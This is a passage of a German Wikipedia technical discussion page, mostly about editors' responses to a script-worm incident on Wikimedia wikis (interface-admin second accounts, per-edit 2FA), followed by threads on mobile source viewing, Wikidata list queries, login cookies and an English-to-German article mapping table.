• Standard-Site-JS: Die sind ja weitgehend abgeräumt:
  • In MediaWiki:Monobook.js steht noch ein bissel was.
  • MediaWiki:Modern.js ist ohnehin Auslaufmodell, nicht mehr aktivierbar.
  • Rest besteht nur noch aus VG.
  • Content Model auf text und mit Disk ohne WL verschieben ins Technik-Archiv.
  • Blocken gegen Neuanlage und jegliche Bearbeitung.
• Wir dürfen die Sicherheit nicht so hoch treiben, dass wir die erforderlichen Funktionen nicht mehr sinnvoll ausüben können.
• Aber mit vorgenannten wären wir lokal gegen eine Wiederholung durch einen WMF Staff Security Engineer oder einen sonstigen Angriff ganz gut gewappnet. Alle Gadgets unter Bearbeitungsfilter zu stellen, wäre übertrieben, und wir schaden uns selbst mehr als dass es nutzt. Dann wird hinterher vergessen, den Bearbeitungsfilter wieder scharf zu stellen. Aber ein Angriff würde sich gegen die Standard-Site-JS richten wie in allen Wikis, und die gibt es bei uns halt nicht mehr. Ätsch.

@ WMF

• Die sollten API-Bearbeitungen von Ressourcen-Seiten unterbinden; das hätte das Debakel gestern wohl verhindert. Las ich irgendwo.
• Ich kann interaktiv per Skript den Bearbeitungsfilter ausknipsen, aber dazu muss ich einen neuen Tab aufmachen. Und ich kann natürlich per Skript jede Seite interaktiv ohne API bearbeiten und speichern, in einem neuen Tab. Ist aber sehr viel Wenn und Aber zu programmieren.

@ Zweit-Account

• Konzept geklaut vom Unix Super User. Da würde man auch nicht auf die Idee kommen, zur Alltagsarbeit die Privilegien einzuschalten, sondern wechselt kurz, bekommt einen anderen Prompt, tut was zu tun ist, und verlässt den su sofort wieder.

VG --PerfektesChaos 02:11, 6. Mär. 2026 (CET)

Ich hätte nichts gegen das Zweitkonto-Schema, bin allerdings als IA nur sehr, sehr wenig aktiv. Man könnte für das Zweitkonto dann auch den Safemode über die Einstellungen dauerhaft aktivieren, dann wären diese Konten gegen jegliche Javascript-Angriffe immun. --Count Count (Diskussion) 07:34, 6. Mär. 2026 (CET)

Rückfragen zum heutigen Geschehen der WMF

Ich habe keine Ahnung, was "sich die WMF-Person heute geleistet hatte". Mag vielleicht jemand einen allgemeinverständlichen, kurzen Kurier-Artikel verfassen, der den heutigen Vorfall und seine Ursachen zusammenfasst? --Gestumblindi 22:22, 5. Mär. 2026 (CET)

So von Dau zu Dau, es gibt ein Schadskript, welches die Abspaltung von ruwiki außer Betrieb setzen sollte, zur Not und das wurde da aber nicht eingesetzt. Ein WMFler hat es heute versehentlich auf Meta aktiviert und da hat es sich verbreitet an jedes Konto, welches in dem Moment auf Meta aktiv war und dann wurde es in die anderen Wikis mitgenommen und hat da alle möglichen Seiten gelöscht. Damit nicht noch mehr Schaden angerichtet werden konnte, wurde alles auf "nur lesen" gestellt und alle Java-Skripte wurden abgeschaltet. So oder ähnlich... Viele Grüße --Itti 22:34, 5. Mär. 2026 (CET)

Hier habe ich auch eine kurze Zusammenfassung verfasst. -- hgzh 22:46, 5. Mär. 2026 (CET)

Genau - wäre schön gewesen, wenn ich als Nicht-Tekki auch nur ein Wort verstanden hätte. -- Nicola kölsche Europäerin 22:23, 5. Mär. 2026 (CET)

Ich habe heute keine Energie mehr für einen Kurier-Artikel, aber kurz und möglichst nicht-technisch zusammengefasst: Ich kann als Benutzer Programme in meinen Browser laden, die dann automatisch mit meinen Rechten ausgeführt werden - zum Beispiel die Skripte von Benutzer:FNDE oder Benutzer:Euku in meiner Benutzer:Tkarcher/common.js. Das war und ist aber schon immer gefährlich gewesen: Wenn FNDE und Euku ihr Skript plötzlich ändern und reinschreiben: "Gehe auf eine zufällige Seite und lösche sie", dann wird genau das in meinem Namen (!) ausgeführt, sobald ich das nächste Mal die Wikipedia aufrufe.

Ein Mitarbeiter der WMF hat nun versehentlich ein solches ihm völlig unbekanntes Skript von einem ihm ebenfalls unbekannten Nutzer "zu Testzwecken" in seine common.js geladen und damit mit seinen Rechten laufen lassen. Nur hat dieses Skript nicht einfach nur zufällig Seiten gelöscht (was schlimm genug gewesen wäre), sondern sich selbst auch noch auf andere Seiten kopiert, um von noch mehr Nutzern automatisch ausgeführt zu werden (siehe Computerwurm). Um dieses Problem zu stoppen, musste die Wikipedia zwei Stunden abgeschaltet werden. --Tkarcher (Diskussion) 22:35, 5. Mär. 2026 (CET)

Das war übrigens nicht irgendein WMFler sondern jemand der global Interface-Admin ist. Da ist das eigentliche Problem. Und deshalb bin ich auch der Meinung, dass das nichts ist, was wir hier lokal auf de-Wiki lösen sollten, sondern zum Schutz anderer Projekte global diskutiert werden sollte. --Der-Wir-Ing ("DWI") (Diskussion) 22:44, 5. Mär. 2026 (CET)

Nur weil jemand so umfassende Rechte hatte, konnte der Schaden so groß werden. Er verweist ja auch eher auf das eigentliche Problem: Warum stört es uns denn so sehr, dass unsere User-Skripte nicht mehr funktionieren? Weil sie benötigt werden, weil so viele Funktionen in MediaWiki-Core fehlen, die wir für unsere Arbeit brauchen. In meinem Fall heißt das, dass ich heute Abend nichts mehr machen werde, weil ich zum Lesen von Difflinks auf die Popups von Lupin angewiesen bin. Ich werde nicht jede Änderung händisch aufrufen. --Viele Grüße, Aschmidt (Diskussion) 22:48, 5. Mär. 2026 (CET)

Das ist etwas, was ich gerade im Zusammenhang mit Commons immer wieder thematisiert habe: Für unsere Arbeit eigentlich zentrale Funktionalitäten sind nicht in MediaWiki integriert, sondern ausgelagert in irgendwelche Skripte oder – gerade auf Commons oft – sogar externe Tools, die vielleicht nur funktionieren, bis die einzelne Person, die sie betreut, inaktiv wird. --Gestumblindi 22:54, 5. Mär. 2026 (CET)

Das ist ein Thema, welches ich schon auf der Wikicon in Stralsund mit Merle angesprochen hatte. Wir sind da auch nicht weiter gekommen und immer, wenn wieder eine "Funktion" ausfällt, startet diese Diskussion von vorn. Die MediaWiki Software ist da wirklich nicht sehr hilfreich. Viele Grüße --Itti 22:57, 5. Mär. 2026 (CET)

Gibt jetzt einen Kurierbeitrag dazu. —DerHexer (Disk., Bew.) 23:47, 5. Mär. 2026 (CET)

@ „nichts ist, was wir hier lokal auf de-Wiki lösen sollten, sondern zum Schutz anderer Projekte global diskutiert werden sollte“

• Das Grundproblem ist, dass unsere hiesigen BOA-Accounts nicht nur an JS editieren, sondern zu 99,9 % völlig andere Edits als Normaluser oder mit Admin-Skripten vornehmen.
• Es sind bis jetzt aber immer alle Skripte aktiv, und das Konto hat bei >99 % der Aktivitäten BOA-Rechte, die es momentan nicht benötigt.
• Die 5 OS haben meines Wissens noch niemals BOA gebraucht, aber sie sind zwangsläufig permanent BOA und können damit auch alle anderen bei uns infizieren.
• Der Plan oben ist, dass mit normalem sysop die Alltagsarbeit gemacht wird, und alle paar Wochen oder Monate oder nie, wenn BOA benötigt wird, wird kurzzeitig bewusst in das Zweitkonto gewechselt.
• An dem Umstand, dass die BOA-Möglichkeiten permanent gegeben sind, sie aber mehrere Monate nicht benötigt werden, kann auch „global diskutiert werden“ nichts verändern.

VG --PerfektesChaos 22:58, 5. Mär. 2026 (CET)

Die Foundation ist schon lange an dem Thema dran und löst es meist über globale technische Vorgaben. U.a. wurden Interface-Admins etabliert und das Recht aus dem Adminrechte-Paket herausgelöst, IAs müssen 2FA aktivieren und bei Bürokraten müssen es auch bald aktivieren. Bislang können CU und OS 2FA auch deaktivieren und dann werden nur ihre OS- und CU-Rechte deaktiviert. Wenn jemand den OS-/CU-Account übernimmt, könnte er 2FA wieder aktivieren und so die OS-/CU-Rechte missbrauchen. Deswegen wird es wohl bald so sein, dass bei Deaktivierung von 2FA automatisch die entsprechenden Rechte entzogen werden (weil Zugangsvoraussetzungen nicht mehr erfüllt).

Es hilft also wenig, wenn wir uns hier auf de-wiki die perfekte Lösung ausdenken, wenn dann

• a) die WMF das wieder "sabotiert" weil die sich das anders wünschen
• b) andere Projekte immer noch die selben Probleme haben. Jeder der mal in ein anderes Projekt schaut und nur nen Tippfehler korrigiert, könnte ja dann dort potentiell betroffen sein.

- --Der-Wir-Ing ("DWI") (Diskussion) 01:34, 6. Mär. 2026 (CET)

Es gibt ja den sehr sinnvollen Vorschlag, der dann auch Zweitaccounts überflüssig macht, dass für entsprechende Bearbeitungen ein 2FA Code für diese einzelne Bearbeitung eingegeben werden muss. Im Grunde das Vorgehen, dass Banken bei der Freigabe von Überweisungen schon lange haben. --GPSLeo (Diskussion) 08:04, 6. Mär. 2026 (CET)

Das ist aber nur eine Idee, die im Äther kreist. Ob das jemals umgesetzt wird, und wann, in welchem Jahrzehnt, weiß niemand.

• In der enWP gibt es einen BOA-Bot, der JavaScript-Code aus externen Repositorien in lokale Benutzer-JS-Seiten und vielleicht auch MediaWiki: hineinschreibt. Die enWP wird sich mit Händen und Füßen gegen eine interaktive 2FA-Eingabe wehren.
• Nichts tun und ein paar Jahre warten, bis irgendjemand anders was tut, ist keine schlaue Strategie. Die Diskussion zur Einführung der BOA hatte rund fünf Jahre gedauert.
• Dieses 2FA könnte dann und nur dann zum Einsatz kommen, wenn entweder in einem fremden Konto eine User-Ressource verändert werden soll, oder im MediaWiki-Namensraum. Mein eigenes JS muss ich immer normal bearbeiten können.

VG --PerfektesChaos 13:16, 6. Mär. 2026 (CET)

Nun, aber nichtstun, nur weil entweder die WMF irgendwann etwas tun könnte oder es nicht die absolut perfekte Lösung ist, ist ja auch keine Lösung.

Aber mal anders gefragt, was müsste man denn tun für eine solche 2-Konten-Lösung? Brauchen wir dafür ein MB/was muss man regeln/besprechen, etc.? Nur wenn das klar ist, kann man genau sagen, ob das eine taugliche Option ist. --Ichigonokonoha (Diskussion) 14:22, 6. Mär. 2026 (CET)

konsens der BOAs unter einbeziehung der Büros sollte aussreichen. das braucht kein MB, es wird ja nur ein interner arbeitsablauf geändert. keine weiteren rechte vergeben oder ähnliches. --Wetterwolke (Diskussion) 14:37, 6. Mär. 2026 (CET)

Wir können zu 2FA überhaupt nichts tun.

Wenn,dann würde das in der globalen Wiki-Software programmiert.

• Das würde bedeuten: Immer, wenn jemand eine Seite manipuliert (Bearbeitung, Verschiebung und einige weitere), die JS oder CSS ist oder werden würde, und das nicht im selben BNR wie das Konto liegt, würde ein Fenster aufpoppen und es müsste irgendwie H:2FA halbautomatisch oder manuell oder vollautomatisch bestätigt werden. Also ungefähr die Prozedur, wenn du beim Online-Banking eine Überweisung nochmal bestätigst.
• Nun gibt es globales Pflegepersonal, die in einer Sitzung in sehr vielen Wikis Hunderte solcher Bearbeitungen vornehmen. Die würden gegen Hürden, die ihre Bearbeitungen umständlicher machen, sehr deutlich vorgehen.
• Und es gibt den von mir erwähnten BOA-Bot, der damit wohl völlig ausgeknockt wäre.
• Es ist eine gewisse Automatisierung möglich, setzt aber eigentlich eine interaktive Browser-Bearbeitung voraus. Ob alle Browser eine automatisierte Kommunikation mit einem 2FA-Werkzeug unterstützen würden, steht dahin. Zu befürchten wäre, dass im Pop-Up-Fenster eine längere Code-Nummer erscheint; die müsste dann per C&P innerhalb von 30 Sekunden in eine 2FA-Anwendung übertragen werden, das dann mit einer längeren Code-Nummer (wie einer TAN) antwortet. Diese müsste dann per C&P in das Edit-Formular übertragen werden, und dann erst wird die Seite gespeichert. Innerhalb von 30 Sekunden.
• Wenn das jedes Mal manuell passieren soll, werden die globalen Massen-Bearbeiter dies verhindern. Falls Browser ein Add-On haben, das diese Bestätigungskommunikation ohne Pop-Up-Fenster vollautomatisch abwickelt, und das in vielen Browsern mit hinreichend vielen Add-Ons möglich ist, könnte die 2FA-Idee umgesetzt werden. Wäre aber einiges an Entwicklungsarbeit von der WMF zu tun, die keinerlei hierfür erforderliche Ressourcen in den Jahresplänen vorsehen, und ob überhaupt machbar und wann Budget und wann entwickelt kann sich über Jahre hinziehen.

 Info:: Bei uns gab es in den letzten 30 Tagen offenbar Null BOA-Edits. Zu 90 % kommen derzeit die allgemeinen von hgzh, zuzüglich bedarfsweiser markAdmins durch verschiedene BOA. Im Schnitt tippe ich auf 100/Jahr.

VG --PerfektesChaos 14:53, 6. Mär. 2026 (CET)

Man kann die 2FA doch auch mit einer Software machen, die eine API bereitstellt. Irgendeine Interaktion braucht das natürlich, das ist ja die Idee dahinter, das muss aber nicht im Browser sein, das geht auch im Terminal oder einer Python IDE. --GPSLeo (Diskussion) 15:06, 6. Mär. 2026 (CET)

@ „das muss aber nicht im Browser sein, das geht auch im Terminal oder einer Python IDE“

• Ja, das wäre der vollmanuelle Weg, den ich zitiert hatte: Pop-Up-Fenster oder Feld im Bearbeitungsformular, C&P des Request-Code in die 2FA-Anwendung, Generieren eines Einmal-Passworts, C&P des Einmal-Passworts in das Pop-Up der Wiki-Seite, [Speichern]. Alles in 30 Sekunden. Wenn das 2FA-Gerät extern ist, dann Eintippen einer sechsstelligen TAN oder sowas.
• Der würde vom globalen Wiki-Software-Personal nicht goutiert und verhindert werden.
• Der Vorgang müsste im Browser-Tab der Seitenbearbeitung automatisch erfolgen.

Die Internet-Security-Szene ist seit einiger Zeit am Rumköcheln.

• Viele Anwendungen begehren zusätzliche Absicherungen; für Online-Banking ist dieser Automatismus nicht sicher genug, aber für Netz-Aktivitäten light wie Anmeldung in asozialen Medien oder diversen kostenpflichtigen Angeboten wird sowas gewünscht.
• Es schwirren vielerlei Konzepte, Ideen und Ankündigungen durch die Welt.
• Ein Knackpunkt ist, dass 2FA eigentlich fordert, dass zwei unabhängige Geräte beteiligt sein müssen, die beide an der Autorisierung mitwirken. Ein Automatismus nur innerhalb des Browsers liefert das nicht.
• Es gibt wohl bereits Add-Ons, die 2FA-Einmalpasswörter generieren und theoretisch an Formularfelder im Browser-Tab kommunizieren könnten. Das ist aber recht leicht angreifbar und manipulierbar und lässt sich wunderbar hacken.
• Eigentlich müsste die Browser-Implementierung die Generierung der Einmalpasswörter selbst vornehmen. Davor scheinen die aber zurückzuschrecken, zumindest vor dem Automatismus. Problematisch bei Automatismen ist aber, dass die Anwender die kritische Situation nicht mehr mitbekommen. Deshalb wird bewusst eine interaktive manuelle Mitwirkung eingefordert.
• Es gibt anscheinend schon mindestens experimentelle produktive Anwendungen, die jedoch wohl des C&P bedürfen. Einen richtigen Überblick habe ich aber nicht, ist alles sehr im Fluss.

VG --PerfektesChaos 15:34, 6. Mär. 2026 (CET)

7. März

Mobile Ansicht Quelltext

Warum kann man bei gesperrten Artikeln nicht den Quelltext ansehen? Dazu muss ich dann auf die Desktop Ansicht wechseln. Und die ist am Tablet fast unbenutzte. --~2025-43600-16 (Diskussion) 07:48, 7. Mär. 2026 (CET)

Das kann ich so nicht bestätigen. Um welchen Artikel geht es denn?

Um den Quelltext eines geschützten Artikels anzuzeigen, musst du in der mobilen Ansicht zunächst auf "Quelltext anzeigen" bzw. das Stiftsymbol mit Schloss klicken. Dann kommt am unteren Bildschirmrand eine Meldung, dass die Seite geschützt ist, mit einem Link "Siehe Quelle". Wenn du da draufklickst, dann öffnet sich eine neue Seite, wo du dir den Quelltext anschauen kannst. Komischerweise funktionierte das wiederum erst dann richtig, als ich hier nochmal auf "aktualisiere bitte die Seite" geklickt habe. Da bin ich mir jetzt aber nicht sicher, ob das ein lokales oder generelles Problem ist. Gruß --Guardian of Arcadia (Diskussion) 11:52, 7. Mär. 2026 (CET)

Nachtrag: Die Tatsache, dass man, nachdem man auf die zweite Seite weitergeleitet wurde, die Seite nochmal über den Link aktualisieren muss, ist tatsächlich ein Fehler und wurde bereits im Phabricator gemeldet (siehe Phab:T377064). --Guardian of Arcadia (Diskussion) 12:01, 7. Mär. 2026 (CET)

Man muss wirklich auf den Link touchen/ klicken. Herunter ziehen bewirkt zwar einen Reload der Seite, aber dann auch wieder nur der Hinweis. --~2026-12681 (Diskussion) 16:12, 7. Mär. 2026 (CET)

Das liegt daran, dass der Link nicht einfach nur die gleiche Seite nochmals neu lädt, sondern den Aufruf um den Parameter mfnoscript=1 ergänzt, wodurch die Seite dann "anders" geladen wird. Dieses Problem ist aber auf jeden Fall bekannt – bis jetzt eben leider nur noch nicht behoben. Gruß --Guardian of Arcadia (Diskussion) 16:49, 7. Mär. 2026 (CET)

Dann sollte anstatt aktualisiere bitte die Seite stehen klicke hier oder ähnliches --~2026-12681 (Diskussion) 18:17, 7. Mär. 2026 (CET)

Kannst du das ändern? --~2026-12681 (Diskussion) 18:18, 7. Mär. 2026 (CET)

@Raymond: Es geht um den Text mobile-frontend-editor-toload --Wurgl (Diskussion) 18:30, 7. Mär. 2026 (CET)

@~2026-12681: Ich selber kann das nicht ändern. Aber der Kollege Wurgl hat bereits einen Admin angepingt, der die Meldung entweder hier lokal oder ggf. auch in der translatewiki (dauert dann aber etwas, bis es hier sichtbar wird) ersetzen kann. Tatsächlich wäre hier wirklich so etwas wie klicke bitte hier sinnvoller, da der Link ja etwas anderes bewirkt als die Seite einfach nur normal neuzuladen. Gruß --Guardian of Arcadia (Diskussion) 19:25, 7. Mär. 2026 (CET)

Danke an @Guardian of Arcadia für die perfekte Analyse. Ich habe MediaWiki:Mobile-frontend-editor-toload lokal erstellt mit "klicke bitte hier" und dazu den Subtask Task 419324 erstellt. Könnte natürlich sein, dass der hinfällig wird, sofern der übergeordnete Phab:T377064 gelöst wird. @~2026-12681 zur Info. Bitte gerne ausprobieren. --Raymond ^Disk. 20:26, 7. Mär. 2026 (CET)

@Raymond @Guardian of Arcadia danke. Der neue Text ist da 👍 --~2026-12681 (Diskussion) 20:56, 7. Mär. 2026 (CET)

@Raymond: Ja, danke auch dir fürs Anlegen des Textbausteins und des zusätzlichen Phabricator-Tickets. Bin mal gespannt, ob das vielleicht auch etwas Bewegung in das übergeordnete Ticket / Ursprungsproblem bringt. @~2026-12681: Danke für deine Rückmeldung. --Guardian of Arcadia (Diskussion) 21:02, 7. Mär. 2026 (CET)

Listen von Artikeln mit WD-Eigenschaft

Ich bräuchte eine Liste der Artikel:

• in der Kategorie:Wikipedia:Keine GHS-Gefahrstoffkennzeichnung verfügbar, bei welchen d:Property:P679 einen Wert hat
• nicht in der Kategorie:Wikipedia:Keine GHS-Gefahrstoffkennzeichnung verfügbar, die Vorlage:H-Sätze einbinden, nicht aber Vorlage:GESTIS, bei welchen d:Property:P679 einen Wert hat

Hat jemand die entsprechenden Abfrageskills? --Leyo 10:40, 7. Mär. 2026 (CET)

Das sind zwei Listen, oder sollen alle 5 Eigenschaften für jeden Treffer gelten? --Wurgl (Diskussion) 11:13, 7. Mär. 2026 (CET)

Zwei unabhängige Listen, auch wenn es um eine ähnliche Wartungsaufgabe geht. --Leyo 11:24, 7. Mär. 2026 (CET)

Die erste:

• Polymethylmethacrylat d:Q146123 P679 =72490
• Polystyrol d:Q146243 P679 = 11450
• Polyacrylnitril d:Q145421 P679 = 11420
• Polyvinylalkohol d:Q146339 P679 = 32360
• Mangan(VII)-oxid d:Q27506 P679 = 125150
• Divinylbenzole d:Q413085 P679 = 21640
• Stickstofftrichlorid d:Q409473 P679 = 123537
• Trichloraniline d:Q1766369 P679 = 530115
• Dichlorpropene d:Q1209411 P679 = 27370
• Hexabrombiphenyl d:Q27095544 P679 = 510729
• Propylenglycoldinitrat d:Q2113171 P679 = 41450
• Cobalt(II,III)-sulfid d:Q1104477 P679 = 500066
• Cobalt(III)-sulfid d:Q1104480 P679 = 500065
• Cobaltcarbonylhydrid d:Q410517 P679 = 5060
• Pentaboran d:Q417437 P679 = 500121
• Diacetylperoxid d:Q409812 P679 = 41160
• Vanadium(IV)-oxiddichlorid d:Q4332877 P679 = 500107
• Methylnitrit d:Q2730177 P679 = 29080
• Diaminotoluole d:Q2204067 P679 = 17830
• Kaliumphenolat d:Q27272365 P679 = 26030
• Diisopropylbenzole d:Q21968099 P679 = 27570
• 2-Propoxyethylacetat d:Q82897468 P679 = 531453
• Cyclopenta(cd)pyren d:Q27155853 P679 = 540001
• Tributylzinnmethacrylat d:Q27274810 P679 = 490360
• Undecannitril d:Q63399664 P679 = 112151

Die zweite dann am Nachmittag --Wurgl (Diskussion) 11:43, 7. Mär. 2026 (CET)

Danke. Die erste Liste habe ich abgearbeitet. --Leyo 17:16, 7. Mär. 2026 (CET)

Die zweite Liste (hoffentlich hab ich die Anfrage richtig verstanden):

• Natrium d:Q658 P679 = 8080
• Cellulose d:Q80294 P679 = 12570
• Dextrine d:Q191978 P679 = 25540
• Polyvinylbutyral d:Q424631 P679 = 535000
• Alkylatbenzin d:Q10405398 P679 = 150866
• Tocopherylacetat d:Q364160 P679 = 491974
• Naphthensäuren d:Q1964898 P679 = 570196
• Chlorambucil d:Q415939 P679 = 490048
• Diethylbenzole d:Q27077244 P679 = 510560
• Diisopropylnaphthaline d:Q27121616 P679 = 141187
• Quinoclamin d:Q2123248 P679 = 50180
• Fluopicolid d:Q13636695 P679 = 50270
• Valifenalat d:Q19310729 P679 = 50210
• 2,4,6-Tri-tert-butylphenol d:Q27272216 P679 = 50170
• Polyacrylsäure d:Q409762 P679 = 532564
• Perfluorheptansäure d:Q27116513 P679 = 50200
• Foramsulfuron d:Q22807801 P679 = 50460
• Clofentezin d:Q2979540 P679 = 50250
• Methylviolett_6B d:Q72492415 P679 = 531772
• Disperse_Orange_149 d:Q110868249 P679 = 900018
• Pyridalyl d:Q1915098 P679 = 50260
• 3-Chlor-1-propanol d:Q27251597 P679 = 27130
• 4-Chlorbenzylamin d:Q27458619 P679 = 570185
• Chlorameisensäureallylester d:Q27266461 P679 = 37980
• 6:2-Fluortelomermethacrylat d:Q27273572 P679 = 111828
• Cyclohexylacetat d:Q2706345 P679 = 37440
• Neodecansäure d:Q17046277 P679 = 136088
• Bisphenol_M d:Q65643372 P679 = 536046
• Pentadecan d:Q150831 P679 = 21490
• Hexadecan d:Q150843 P679 = 13200
• Hexabutyldistannan d:Q72481561 P679 = 490285
• Dibutylsulfid d:Q11309564 P679 = 491182
• Phthaloylchlorid d:Q27270948 P679 = 24230
• Dehydrolinalool d:Q27893849 P679 = 27980
• Phenylacetylchlorid d:Q27289593 P679 = 24980
• Methazol d:Q6553500 P679 = 490609
• 4-Dichloracetyl-1-oxa-4-azaspiro(4.5)decan d:Q27270770 P679 = 535935
• 4-Acetamido-TEMPO d:Q27278880 P679 = 536241
• Indolacetonitril d:Q27102461 P679 = 35880
• Nonano-1,4-lacton d:Q11255995 P679 = 490135
• Undecano-1,4-lacton d:Q24734376 P679 = 490136
• Dodecano-1,5-lacton d:Q27256257 P679 = 106964
• Diethyltellur d:Q81989205 P679 = 531385
• N-Methyl-N-nitrosoethylamin d:Q27155899 P679 = 510771
• Rhodamin_6G d:Q3429576 P679 = 50450
• Tridecanal d:Q18456293 P679 = 124283
• Bromdiphenylmethan d:Q4973730 P679 = 510577
• Nonanoylchlorid d:Q27894139 P679 = 493695
• Methyltris(trimethylsiloxy)silan d:Q27288754 P679 = 130854
• 4,4′,4′′-((2,4,6-Trimethylbenzol-1,3,5-triyl)trimethylen)tris(2,6-bis(2-methyl-2-propanyl)phenol) d:Q27260892 P679 = 494058
• Octadecyl-3-(4-hydroxy-3,5-bis(2-methyl-2-propanyl)phenyl)propanoat d:Q27291662 P679 = 530535
• Antioxidant_1010 d:Q27253913 P679 = 494772
• 4-Phenyl-1-buten d:Q27261558 P679 = 493708

--Wurgl (Diskussion) 12:31, 7. Mär. 2026 (CET)

Danke. Ich habe die zweite Liste zum Abarbeiten in die Redaktion Chemie kopiert. --Leyo 23:39, 7. Mär. 2026 (CET)

Dieser Abschnitt kann archiviert werden. Leyo 23:39, 7. Mär. 2026 (CET)

Frage zur Anmeldung

Hallo! Nur eine Frage. Wie kann ich verhindern, dass ich alle naselang ausgeloggt werde, trotz funktionierenden Passwordmanagers und Markierung des Kästchens "angemeldet bleiben"? Dank der Telekom-Schrottkabel dauert die Neuanmeldung oft stundenlang oder ist ganz unmöglich, trotz Providerwechsel. Liegt das Problem außer Reichweite der Foundation, teilt mir das doch bitte mit, dann wende ich mich an die Bundesnetzagentur wie schon im Vorjahr. Tut mir leid, dass ich störe. Liebe Grüße in die Runde von Agathenon 13:01, 7. Mär. 2026 (CET)

Das Problem könnte in deinen Cookieeinstellungen liegen – das wäre das erste, was ich checken würde. Wenn du z.B. alle Cookies blockst, nützt dir auch das Häkchen nichts. Whitelisten m.W. am besten *.wikipedia.org (nicht nur de.wikipedia.org), weil es einen zentralen Login gibt. --elya (Diskussion) 15:34, 7. Mär. 2026 (CET)

und *.wikimedia.org, weil die Anmeldung darüber läuft. --Raymond ^Disk. 15:47, 7. Mär. 2026 (CET)

Wie findet man algorithmisch die Übersetzung eines Artikels

Ich habe einen englischen Wikipedia-Artikel. Unter "languages" steht, dass es auch eine deutsche Übersetzung gibt, incl. Link. Angenommen, man hat nur das englische Lemma: wie kann man algorithmisch herausfinden, ob es eine deutsche Übersetzung gibt? und wie das deutsche Lemma lautet? Wer kann mir das mal mit "Pseudocode" beschreiben? Beispiel: w:en:Availability_heuristic. Gruss, --Markus (Diskussion) 19:13, 7. Mär. 2026 (CET)

Du gehst nach Wikidata (In deinem Beispiel Verfügbarkeitsheuristik (Q1462985)) und findest dort die Liste der Sprachversionen. Je nach Bildschirmbreite rechts oder ganz unten. --Wurgl (Diskussion) 19:23, 7. Mär. 2026 (CET)

Danke, verstanden. Ich habe eine Liste mit 180 en:Artikeln. Zu diesen möchte ich wissen, welche eine de:Übersetzung haben und das de:Lemma dazu. Wie sage ich der KI, wie sie zu w:en:Availability_heuristic das WD-Item (Q1462985) findet? Und wie sie in d:Q1462985 zu de:Verfügbarkeitsheuristik kommt, die ja das selbe WD-Item (Q1462985) hat? Wie könnte ein Prompt für ChatGBT 5.4 aussehen? Gruss, --Markus (Diskussion) 20:59, 7. Mär. 2026 (CET)

Hat sich erledigt. Er hat meinen Wunsch verstanden ;-)

Nr.	Link-en	Link-de	Bemerkungen
1	Availability_heuristic	Verfügbarkeitsheuristik
2	Attentional_bias
3	Illusory_truth_effect
4	Mere-exposure_effect	Mere-Exposure-Effekt
5	Context_effect
6	Cue-dependent_forgetting
7	Mood_congruence
8	Frequency_illusion
9	Frequency_illusion
10	Empathy_gap
11	Omission_bias
12	Base_rate_fallacy	Prävalenzfehler
13	Bizarreness_effect
14	List_of_cognitive_biases#Humor_effect	Liste kognitiver Verzerrungen
15	Von_Restorff_effect	Restorff-Effekt
16	Picture_superiority_effect
17	Self-reference_effect
18	Negativity_bias
19	Anchoring_(cognitive_bias)
20	Conservatism_(belief_revision)
21	Contrast_effect
22	Distinction_bias
23	Anchoring#Focusing_effect
24	Framing_effect_(psychology)
25	Money_illusion
26	Weber–Fechner_law	Weber-Fechner-Gesetz
27	Confirmation_bias	Bestätigungsfehler
28	Congruence_bias
29	Choice-supportive_bias
30	Choice-supportive_bias
31	Selective_perception	Selektive Wahrnehmung
32	Observer-expectancy_effect
33	Observer-expectancy_effect
34	Observer-expectancy_effect
35	Observer-expectancy_effect
36	Ostrich_effect
37	Subjective_validation
38	Confirmation_bias#continued_influence_effect	Bestätigungsfehler
39	Semmelweis_reflex
40	Bias_blind_spot	Blind Spot Bias
41	Naïve_cynicism
42	Naïve_realism_(psychology)
43	Confabulation
44	Clustering_illusion	Clustering-Illusion
45	Insensitivity_to_sample_size
46	Neglect_of_probability
47	Anecdotal_evidence	Anekdotische Evidenz
48	Illusion_of_validity
49	Masked-man_fallacy
50	Recency_illusion
51	Gambler's_fallacy	Spielerfehlschluss
52	Hot-hand_fallacy
53	Illusory_correlation
54	Pareidolia
55	Anthropomorphism#Psychology
56	Group_attribution_error
57	Ultimate_attribution_error
58	Stereotype
59	Essentialism	Essentialismus
60	Functional_fixedness
61	Self-licensing
62	Just-world_hypothesis
63	Argument_from_fallacy	Argumentum ad logicam
64	Authority_bias
65	Automation_bias
66	Bandwagon_effect	Mitläufereffekt
67	Placebo	Placebo
68	Out-group_homogeneity	Fremdgruppenhomogenität
69	Cross-race_effect
70	In-group_favoritism
71	Halo_effect
72	Cheerleader_effect
73	Positivity_effect
74	Not_invented_here	Not-invented-here-Syndrom
75	Reactive_devaluation
76	Well_travelled_road_effect
77	Mental_accounting
78	Appeal_to_probability
79	Normalcy_bias
80	Murphy's_law	Murphys Gesetz
81	Zero-sum_thinking
82	Survivorship_bias
83	Subadditivity_effect
84	Denomination_effect
85	The_Magical_Number_Seven,_Plus_or_Minus_Two	Millersche Zahl
86	Illusion_of_transparency
87	Curse_of_knowledge
88	Spotlight_effect
89	Extrinsic_incentives_bias
90	Illusion_of_external_agency
91	Illusion_of_asymmetric_insight
92	Telescoping_effect
93	Rosy_retrospection
94	Hindsight_bias	Rückschaufehler
95	Outcome_bias
96	Moral_luck	Moralischer Zufall
97	Declinism
98	Impact_bias
99	Optimism_bias#Pessimism_bias
100	Planning_fallacy	Planungsfehlschluss
101	Time-saving_bias
102	Pro-innovation_bias
103	Affective_forecasting#Projection_bias
104	Restraint_bias
105	List_of_cognitive_biases#Consistency_bias	Liste kognitiver Verzerrungen
106	Overconfidence_effect
107	Social_desirability_bias
108	Third-person_effect
109	False_consensus_effect
110	Hard–easy_effect
111	Lake_Wobegon#The_Lake_Wobegon_effect
112	Dunning–Kruger_effect	Dunning-Kruger-Effekt
113	Egocentric_bias
114	Optimism_bias
115	Barnum_effect	Barnum-Effekt
116	Barnum_effect	Barnum-Effekt
117	Self-serving_bias	Selbstwertdienliche Verzerrung
118	Actor–observer_asymmetry#bias
119	Illusion_of_control	Kontrollillusion
120	Illusory_superiority
121	Fundamental_attribution_error	Attributionsfehler
122	Defensive_attribution_hypothesis
123	Trait_ascription_bias
124	Effort_justification
125	Risk_compensation	Risikokompensation
126	Risk_compensation#Peltzman_effect	Risikokompensation
127	Hyperbolic_discounting
128	Appeal_to_novelty	Argumentum ad novitatem
129	Identifiable_victim_effect
130	Sunk_cost#Loss_aversion_and_the_sunk_cost_fallacy	Versunkene Kosten
131	Escalation_of_commitment
132	Escalation_of_commitment
133	Generation_effect
134	Loss_aversion	Verlustaversion
